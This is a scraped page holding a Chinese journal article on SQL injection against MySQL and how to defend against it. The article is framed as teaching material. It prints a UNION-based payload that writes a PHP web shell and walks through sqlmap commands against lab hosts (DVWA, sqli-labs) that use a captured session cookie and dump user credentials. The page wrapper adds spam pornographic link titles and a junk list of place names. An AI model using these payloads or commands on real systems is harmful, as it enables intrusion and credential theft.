• 
    

    
    

      99热精品在线国产_美女午夜性视频免费_国产精品国产高清国产av_av欧美777_自拍偷自拍亚洲精品老妇_亚洲熟女精品中文字幕_www日本黄色视频网_国产精品野战在线观看

      ?

      針對MySQL數(shù)據(jù)庫的自動化工具的注入與防御

      2018-01-03 07:06:08張嫻蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院
      數(shù)碼世界 2017年12期
      關(guān)鍵詞:用戶名瀏覽器語句

      張嫻 蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院

      針對MySQL數(shù)據(jù)庫的自動化工具的注入與防御

      張嫻 蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院

      1 背景

      SQL 注入(SQL Injection)是應(yīng)用程序通過向后臺數(shù)據(jù)庫提交(SQL,Structured Query Language)查詢時,如果攻擊者具有影響該查詢結(jié)果的能力時,我們就稱為是會產(chǎn)生SQL攻擊。典型的SQL注入更多的是針對服務(wù)器端的數(shù)據(jù)庫,然而根據(jù)目前HTML5的代碼規(guī)范,攻擊者同樣可以執(zhí)行如Javascript等腳本來竊取客戶端的代碼。

      1.1 SQL 注入構(gòu)建

      SQL 是 訪 問 SQL server、Oracle、Mysql、Sybase和Informix等數(shù)據(jù)庫服務(wù)器的標(biāo)準(zhǔn)語言。

      大多數(shù)Web應(yīng)用,如ASP、PHP、Java、C#等都具有通過可編程的方法與數(shù)據(jù)庫進行交互。

      那如果Web在開發(fā)過程中,Web提交的表單參數(shù)和如cookies類的隱私信息無法保障其來源可信度的話,那么SQL注入漏洞就有可能產(chǎn)生。每種編程語言均提供了很多不同的方法來構(gòu)造和執(zhí)行SQL語句,但在開發(fā)過程中若對Web與基礎(chǔ)數(shù)據(jù)庫交互理解不透徹的話,往往就會讓攻擊者有機可趁。比如以下幾種情況是需要給程序員警告的安全建議:

      (1)轉(zhuǎn)義字符攻擊

      在SQL 語句構(gòu)造過程中,單引號(’),雙引號(”),空 格( ), 如 $SQL=” select ? from Table_A where user=’$_GET[“username”]’ ” ,其 中 $_GET[“username”]是PHP語言獲取網(wǎng)頁表單的信息傳遞給數(shù)據(jù)庫的表現(xiàn)形式。該語句主要用來查詢輸入的字符串,將網(wǎng)頁表單中輸入的用戶名作為條件進行數(shù)據(jù)庫查詢。單引號外面的內(nèi)容是要運行的代碼,用單引號里面的內(nèi)容均是數(shù)據(jù)。所以,單引號的構(gòu)造,可以進行Web 站點受SQL注入攻擊。單引號引起了MySQL的語法錯誤:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1。

      (2)類型處理攻擊

      SQL注入應(yīng)用時,若用戶輸入的參數(shù)是整型,則單引號是不用加的。如$SQL=” select ? from Table_A where id=$_GET[“userid”]”。MySQL提供一條UNION命令進行聯(lián)合 執(zhí) 行。 如 id=$_GET[“userid”] UNION SELECT “<?system(‘cmd’); ?>” INTO OUTFILE FILEPATH。該命令用來創(chuàng)建系統(tǒng)文件并進行寫操作。通過以上命令打開了一個遠程交互式訪問的Web Shell。Web Shell主要以PHP、ASP、JSP等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境。通常稱之為網(wǎng)頁后門。

      2 識別SQL注入

      識別SQL注入漏洞是通過發(fā)送意外數(shù)據(jù)來出發(fā)異常。那么以下三個點就是識別的關(guān)鍵:數(shù)據(jù)輸入的類型、會觸發(fā)異常的類型、檢測服務(wù)器響應(yīng)的異常。Web瀏覽器以何種方式向服務(wù)器發(fā)送請求,不同的相應(yīng)會通過不同的參數(shù)提交給予相應(yīng)。常用的參數(shù)有GET請求、POST請求、cookie注入。

      GET請求服務(wù)器響應(yīng)的HTTP方法,請求信息包含在URL中。瀏覽器創(chuàng)建GET請求,發(fā)送給Web服務(wù)器,瀏覽器響應(yīng)結(jié)果。如GET /test.php?id=1。用戶可以在瀏覽器中直接將id進行修改就可以操控參數(shù)。一般GET方法是網(wǎng)站設(shè)計時設(shè)計好的,用在子頁面的打開等情況。

      POST是向Web服務(wù)器發(fā)送信息的HTTP。一般POST是用于用戶填寫表單向服務(wù)器提交參數(shù)。一般參數(shù)不出現(xiàn)在URL上面。

      雖然大多數(shù)應(yīng)用都從GET或POST 參數(shù)中檢索數(shù)據(jù),但類似cookie的數(shù)據(jù)也會引發(fā)SQL漏洞。cookie被用于驗證、會話控制和保存用戶特定的信息。因此,cookie可能會通過用戶輸入方式或者cookie值被劫持遭受攻擊。一般cookie注入可以通過Wireshark等抓包分析cookie值來進行注入。下面的小節(jié)會詳細描述其過程。

      3 SQLMap

      SQLMap是開源的利用(系統(tǒng))脆弱性自動進行數(shù)據(jù)庫入侵和滲透的工具。它具有一個非常強有力的探測引擎,但請注意SQLMap只是用來檢測和利用sql注入點的。并不是網(wǎng)站掃描工具。SQLMap支持的數(shù)據(jù)庫有:MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和SAP MaxDB。SQLMap支持測試GET參數(shù),POST參數(shù),HTTP Cookie參數(shù),HTTP User-Agent頭和HTTP Referer頭來確認是否有SQL注入,它也可以指定用逗號分隔的列表的具體參數(shù)來測試。。

      4 Cookie 注入(劫持)攻擊

      4.1 DVWA 安裝

      如上一小節(jié)描述,登錄DVWA系統(tǒng)。點擊SQL Injection頁面,在User ID中填寫參數(shù)1,意思是id=1。

      4.2 WireShark 抓包

      啟動WireShark主界面,選擇網(wǎng)口eth0。

      打開瀏覽器。保證數(shù)據(jù)包的抓取。利用WireShark編輯命令過濾條目 ip.a(chǎn)ddr=192.168.84.249 && http,顯示滿足該地址的HTTP包。

      利用鼠標(biāo)向右滾動,查找滿足當(dāng)前頁面(id=1)的HTTP包。找到應(yīng)用層數(shù)據(jù)中包含的cookie值。

      4.3 SQLmap 自動注入

      打開終端,啟動SQLMap。

      執(zhí)行

      sqlmap"http://192.168.84.249/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHP SESSID=862fadc973927e2fe027eec8acbdb2ed" --current-db--current-user。

      由執(zhí)行結(jié)果,該后臺數(shù)據(jù)庫類型為Mysql ;操作系統(tǒng)為Linux Ubuntu 8.04 (Hardy Heron); 當(dāng)前用戶為 root;當(dāng)前數(shù)據(jù)庫為dvwa。此結(jié)果表示cookie注入(劫持)攻擊成功。執(zhí)行結(jié)果。

      4.4 參數(shù)提交攻擊

      Kali中 打 開 瀏 覽 器 輸 入 http://192.168.85.159/sqli/Less-1/,打開實驗環(huán)境,在終端中輸入 sqlmap -u"http://192.168.85.159/sqli/Less-1/?id=1" --dbms mysql –dbs, 指定探測類型mysql,由于當(dāng)前用戶是root,因此--dbs可以有權(quán)限列舉出當(dāng)前所有數(shù)據(jù)庫。

      接著探測當(dāng)前數(shù)據(jù)庫和用戶,在SQLmap 中使用--current-db和--current-user參數(shù)。

      sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql –current-db --current-user,當(dāng)前受攻擊機數(shù)據(jù)庫用戶是root,當(dāng)前Less-1頁面使用的數(shù)據(jù)庫是security。

      探測當(dāng)前數(shù)據(jù)庫security下所有的表,執(zhí)行

      sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql --tables -D security ,在這里要說明是--tables這個參數(shù),這個參數(shù)后指定-D就說明指定當(dāng)前數(shù)據(jù)庫中的所有表,如這個要探測security下所有的表,但如果沒有使用-D,就表是要探測數(shù)據(jù)庫中所有的表。

      獲取用戶表中的信息,執(zhí)行命令

      sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql -D security -T users --column。-T users,表示指定探測表是users,--column探測該表中的所有列。探測結(jié)束發(fā)現(xiàn)users表有三列,id,password,username ,包含了用戶id,用戶密碼,用戶名。

      獲取users表用戶名和密碼列的信息,執(zhí)行

      sqlmap -u "http://192.168.85.159/sqli/Less-1/?id=1"--dbms mysql -D security -T users -C username,password--dump。

      其中-C username,password 列出用戶名和密碼。--dump獲取整個表的信息。

      5 SQL防御技術(shù)

      本章節(jié)的SQL注入的兩個實驗都是基于類型處理不當(dāng)而導(dǎo)致的漏洞,敏感字符如(’)、() 等沒有得到有效過濾。當(dāng)一個(’)變成了有效的程序輸入,往往就能構(gòu)造有效的攻擊語句。因此,防御攻擊需要程序員在頁面開發(fā)過程中增加字符過濾函數(shù)。本次實驗的頁面開發(fā)語句均是PHP,因此下面的函數(shù)都是PHP開發(fā)函數(shù)。如mysql_real_escape_string()轉(zhuǎn)義敏感字符、stripslashes()刪除反斜杠等。32。

      6 小結(jié)

      通過本章節(jié),讀者主要理解了SQL 程序開發(fā)不當(dāng)引起的一些危險,掌握了SQL 注入的原理以及攻擊的手段。數(shù)據(jù)的處理是網(wǎng)頁多層架構(gòu)開發(fā)中的存儲層,學(xué)習(xí)了它是如何與用戶進行交互的。本章節(jié)利用自動注入工具快速尋找、確認、自動發(fā)現(xiàn)SQL注入。主要給讀者呈現(xiàn)了Cookie劫持、Get參數(shù)提交等完整的攻擊過程及防御的手段。

      張嫻,性別:女,出生年月:19810927,漢,單位:蘇州工業(yè)園區(qū)服務(wù)外包職業(yè)學(xué)院,職稱:講師,學(xué)歷:大學(xué),主要研究方向:數(shù)據(jù)庫安全。

      項目編號:zyk-026,項目名稱:MySQL使用技術(shù),項目來源:校級網(wǎng)絡(luò)共享資源課。

      猜你喜歡
      用戶名瀏覽器語句
      《護士進修雜志》投稿程序
      重點:語句銜接
      反瀏覽器指紋追蹤
      電子制作(2019年10期)2019-06-17 11:45:14
      精彩語句
      機智的快遞員
      故事會(2017年17期)2017-09-04 17:36:42
      環(huán)球瀏覽器
      再見,那些年我們嘲笑過的IE瀏覽器
      如何搞定語句銜接題
      語文知識(2014年4期)2014-02-28 21:59:52
      作文語句實錄
      瀏覽器
      洱源县| 水富县| 团风县| 洪江市| 丽江市| 祁阳县| 太白县| 亚东县| 通道| 镇康县| 崇仁县| 石楼县| 弥勒县| 英德市| 永新县| 沂水县| 伊春市| 太仆寺旗| 晋州市| 剑川县| 新沂市| 图们市| 博野县| 芮城县| 镇雄县| 太康县| 绥中县| 华池县| 襄城县| 澎湖县| 永善县| 搜索| 阿坝县| 台安县| 南宁市| 达尔| 定陶县| 永平县| 丰镇市| 玉山县| 红河县|